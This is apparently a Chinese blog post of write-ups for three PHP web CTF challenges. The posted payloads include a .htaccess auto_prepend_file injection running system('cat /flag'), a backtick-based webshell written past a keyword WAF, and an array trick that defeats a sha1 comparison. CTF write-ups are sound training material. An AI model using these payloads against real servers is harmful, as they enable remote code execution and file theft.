[羊城杯2020]easyphp
知识点
1.代码审计。
2.preg_match函数和stristr函数的绕过
3..hatccess文件的写入
解题过程
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>
刚刚打开看到题目时,就看到了file_put_contents函数,当时的想法是,写一个是php文件,文件中上传的是一句话木马,然后连接蚁剑。但是仔细分析了题目,
发现下面的这段代码的意思是只解析index.php文件,那么我的这个思路是行不通的了
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
后来看到wp是利用.htaccess来设置文件自动包含,什么是.htaccess?
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
也就是说这里的思路是通过改变文件的一个配置,从而达到我们获取flag的目的。
在题目中还有这两个函数的限制
if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); }
这里因为我们要写的文件名是.htaccess,而这个函数的意思是只能输入小写字母和. 那自然绕过了。
到了stristr函数,过滤了几个我们playload需要的单词,那么我们可以用换行符来绕过。
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); }
接下来就给出.htaccess的内容:
php_value auto_prepend_fil\ e .htaccess #<?php system('cat /fla'.'g');?>\
解释一下:
php_value auto_prepend_file 是用来在页面底部加载文件的,在这里就是相当于加载<?php system('cat /fla'.'g');?>
而#应该是.hatccess文件特有的写入形式,没有的话会直接报错500,最后那个/是用来转意换行符的
最后的playload:
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
[红明谷CTF 2021]write_shell
知识点
1.执行运算符
2.php短标签
3.代码审计
解题过程
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
可以看到,action为pwd时,会打印当前的目录路径;action为upload时,会上传数据到目录路径下的index.php中,并且会对上传的数据进行检查
在check函数中可以看到,输入的数据不可以包含 ‘ ’,'_', 'php', 'eval', '{', '}' 没过滤反引号,欸嘿,突破口找到了
先看看当前文件路径
想要绕过check函数写shell,过滤了空格‘ ’可以用 \t 代替,过滤了'php'可以用短标签<?=?>代替,相当于<? echo>;
过滤了‘_’可以用<?=``?>代替,反引号在php中有执行命令的效果
利用通配符 '*' 来搜索文件
playload:
?action=upload&data=<?=`cat\t/*`?>
[极客大挑战 2020]Roamphp1-Welcome
知识点:
1.处理打开靶机就是404的情况
2.sha1函数比较
解题过程
打开靶机的时候,直接就是404,一开始以为是我的网络出来问题或者靶机出来问题,于是换了网络和重新开了靶机,结果还是一样,有查看了数据包,没啥问题
后来看了wp,发现人家就是这样的,这个应该也算是考题的一部分吧,先抓个包,将请求方式改为POST然后再放包就可以了。
然后就看到题目的代码:
这就很简单了,直接就用数组绕过shal比较就可以了,因为shal不接受数组,遇到是数组都会返回NULL,那么NULL == NULL 返回的自然是true。
然后就转到了一个phpinfo文件,直接Ctrl+F找flag就可以了